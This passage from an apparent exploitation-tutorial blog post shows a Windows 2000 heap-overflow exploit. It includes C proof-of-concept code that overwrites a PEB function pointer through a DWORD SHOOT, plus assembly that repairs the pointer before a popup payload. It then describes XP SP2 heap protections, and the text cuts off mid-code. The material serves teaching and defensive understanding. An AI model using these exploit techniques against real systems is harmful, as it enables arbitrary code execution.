&lt;li&gt;Aim at RtlEnterCriticalSection, the PEB synchronization function pointer that ExitProcess calls, and run the shellcode after the heap overflow inside the program raises an exception&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Example 1 (watching the exception)&lt;a href=&quot;#example-1-watching-the-exception&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#include&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;shellcode&lt;/span&gt;&lt;span&gt;[]&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;// end of the 200-byte heap chunk, overflow data below&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x16\x01\x1A\x00\x00\x10\x00\x00&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; // next chunk&apos;s header, kept as is&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x88\x06\x36\x00&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; // shellcode start address&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x20\xF0\xFD\x7F&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;span&gt; // where the PEB synchronization function pointer lives&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;HLOCAL&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;h1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;h2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;HANDLE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapCreate&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;1000&lt;/span&gt;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;10000&lt;/span&gt;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;h1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapAlloc&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;HEAP_ZERO_MEMORY&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;200&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;__asm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt; //used to break process&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;memcpy&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;h1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;shellcode&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;200&lt;/span&gt;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;span&gt; //overflow,0x200=512&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;h2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapAlloc&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;HEAP_ZERO_MEMORY&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;section&gt;&lt;h5&gt;Takeaway&lt;a href=&quot;#takeaway&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;ul&gt;
&lt;li&gt;All that’s missing is the actual shellcode&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Example 2 (complete)&lt;a href=&quot;#example-2-complete&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;With the exception working, what’s left is putting real shellcode that pops a box into those 200 bytes. The tail of the overflow stays the same three pieces, “next chunk header + shellcode start address + location of the PEB synchronization function pointer”. For the shellcode itself I used the popup code from &lt;a href=&quot;/posts/reread-0day-1-stack-overflow-and-shellcode/&quot;&gt;part one&lt;/a&gt; that finds APIs dynamically. It’s long, so I won’t paste the whole thing again.&lt;/p&gt;&lt;p&gt;Dropping it straight in hits a snag. The DWORD SHOOT changed the &lt;code&gt;RtlEnterCriticalSection&lt;/code&gt; pointer in the PEB into the shellcode’s address, but ExitProcess still calls through that pointer, so right after the shellcode finishes it gets called again as if it were a critical section function, and the program crashes. So the shellcode first has to put that pointer back to its original value, and only then run the popup part:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;; repair the PEB function pointer the DWORD SHOOT broke&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;B8 20F0FD7F        &lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0x7FFDF020&lt;/span&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;; where the RtlEnterCriticalSection pointer lives in the PEB&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;BB 4CAAF877        &lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0x77F8AA4C&lt;/span&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;; the function&apos;s original address (changes with the OS version)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;89&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;&lt;span&gt;              &lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;span&gt;], &lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;; put the pointer back&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;; ...followed by the popup shellcode from part one...&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;With those three instructions added, this heap overflow pops the MessageBox reliably on Win2000.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Note that every address here (&lt;code&gt;0x7FFDF020&lt;/code&gt;, &lt;code&gt;0x77F8AA4C&lt;/code&gt;, and the shellcode start &lt;code&gt;0x00360688&lt;/code&gt;) is hardcoded. Change the OS version, or sometimes just run it again, and they’re wrong. That’s exactly what the protections after XP SP2 below go after.&lt;/p&gt;&lt;/blockquote&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;The heap under protection&lt;a href=&quot;#the-heap-under-protection&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The Win2000 heap had almost no defenses. From XP SP2 on, Microsoft added one mechanism after another, and the tricks above stopped working one by one.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;PEB randomization&lt;a href=&quot;#peb-randomization&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;After &lt;code&gt;Windows XP SP2&lt;/code&gt;, Microsoft stopped using the fixed PEB base &lt;code&gt;0x7FFDF000&lt;/code&gt; and gave the PEB a somewhat random base instead. That mostly hurts attacks on function pointers in the PEB. For a DWORD SHOOT, the function pointers in the PEB are a perfect target, and once the base moves, that hardcoded &lt;code&gt;0x7FFDF020&lt;/code&gt; above is hard to find.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;SafeUnlink&lt;a href=&quot;#safeunlink&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Microsoft rewrote the code that handles the doubly linked lists and became more careful when unlinking chunks from the free lists. Before SP2, unlinking looked something like this:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remove&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;ListNode&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;node&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;node&lt;/span&gt;&lt;span&gt; -&amp;gt; &lt;/span&gt;&lt;span&gt;blink&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;flink&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;node&lt;/span&gt;&lt;span&gt; -&amp;gt; &lt;/span&gt;&lt;span&gt;flink&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;node&lt;/span&gt;&lt;span&gt; -&amp;gt; &lt;/span&gt;&lt;span&gt;flink&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;blink&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;node&lt;/span&gt;&lt;span&gt; -&amp;gt; &lt;/span&gt;&lt;span&gt;blink&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;That’s exactly our way in for the DWORD SHOOT. SP2 checks that the forward and backward pointers are intact before removing anything:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;safe_remove&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;ListNode&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;node&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;((&lt;/span&gt;&lt;span&gt;node&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;blink&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;flink&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;node&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;node&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;flink&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;blink&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;node&lt;/span&gt;&lt;span&gt;))&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;node&lt;/span&gt;&lt;span&gt; -&amp;gt; &lt;/span&gt;&lt;span&gt;blink&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;flink&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;node&lt;/span&gt;&lt;span&gt; -&amp;gt; &lt;/span&gt;&lt;span&gt;flink&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;node&lt;/span&gt;&lt;span&gt; -&amp;gt; &lt;/span&gt;&lt;span&gt;flink&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;blink&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;node&lt;/span&gt;&lt;span&gt; -&amp;gt; &lt;/span&gt;&lt;span&gt;blink&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;else&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;// list pointers are corrupted, raise an 